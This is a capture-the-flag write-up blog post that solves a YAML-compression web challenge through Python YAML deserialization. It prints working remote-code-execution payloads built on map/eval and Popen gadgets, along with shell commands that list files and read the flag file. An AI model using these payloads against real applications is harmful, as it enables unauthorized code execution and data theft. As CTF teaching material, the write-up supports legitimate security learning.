Published on: February 6, 2025
5 min read · Posted by Baba is Dead
Compress your JSON data with this new service!
This is a blind web challenge. We are allowed to input JSON data, which will be compressed and returned to us. We can then decompress the data to view our original input.
There's no admin bot, so the flag is likely stored in the backend. This means the challenge is likely an RCE challenge or an LFI challenge.
We can start investigating by inspecting the compress and decompress endpoints. Sending a request to the /convert_to_yaml
endpoint which compresses our data returns the following:
{"zlib_yaml":"eJwrSS0usVIoAZJcABkdA+U="}
Zlib is a type of compression algorithm. We can verify this by using CyberChef. Using the zlib decompress function confirms that it decompresses back to our original data. Since the data is in base64 format, we must decode the base64 data before decompressing it:
From the endpoint name (/convert_to_yaml
), we deduce that this is YAML format. YAML is a data serialization language. Serialization often comes with vulnerabilities, one of which is the YAML deserialization attack.
To test if the application is vulnerable, we create a script to compress YAML payloads using zlib and encode them in base64:
import zlib, base64
hack = """!!python/object/apply:time.sleep [2]"""
compressed_yaml = zlib.compress(hack.encode())
base64_yaml = base64.b64encode(compressed_yaml).decode()
print(base64_yaml)
The payload !!python/object/apply:time.sleep [2]
makes the application sleep for 2 seconds. Sending the following JSON data to the /convert_to_json
endpoint should result in a ~2-second delay if vulnerable:
{
"zlib_yaml":"eJxTVCyoLMnIz9PPT8pKTS7RTywoyKm0KsnMTdUrzklNLVCINooFAPOLDRo="
}
This works, indicating the application is vulnerable to YAML deserialization.
We first attempt the payload suggested by HackTricks:
!!python/object/new:str
state: !!python/tuple
- 'print("test")'
- !!python/object/new:Warning
state:
update: !!python/name:exec
This results in an error:
{"error":"'Warning' object has no attribute 'items'"}
The error suggests that the items()
method is being called during JSONification, and since Warning
objects lack this method, an error is thrown.
To ensure the payload can be JSONified, we use this:
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- [ "123" ]
This translates to the following Python code:
tuple(map(eval, ["123"]))
map(eval, ["123"])
executes eval
on each element of the list, allowing arbitrary Python code execution.
We first list all subclasses of the base class and convert the result to a string for JSON compatibility:
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- [ "str(().__class__.__base__.__subclasses__())" ]
Searching through the output reveals the Warning class at index 351.
os
and Execute CommandsWe use the index to import os
and execute commands. First, list the files to locate the flag:
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- [ "str(().__class__.__base__.__subclasses__()[351]('ls',shell=True,stdout=-1).communicate())" ]
Output:
(b'Dockerfile\napp.py\ndocker-compose.yml\nindex.htm\nrequirements.txt\nsecretflag.txt\n', None)
The flag file is secretflag.txt
. Read the flag:
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- [ "str(().__class__.__base__.__subclasses__()[351]('cat secretflag.txt',shell=True,stdout=-1).communicate())" ]
blahaj{Y4mL_n0T_S3cUre}
This approach might not be optimal. The author's intended solution uses a cleaner payload:
!!python/object/apply:subprocess.Popen
- !!python/tuple
- python3
- -c
- "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('[SOME CODE]')[0])))"
Directly using __import__
for module imports is more efficient. My approach relied on SSTI-like methods because I wasn't aware of __import__
. Additionally, the reason for compressing and encoding the code is unclear.
A cleaner payload:
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- [ "str(__import__('os').popen('[SHELL COMMAND]').read())" ]
Please login to comment
No comments yet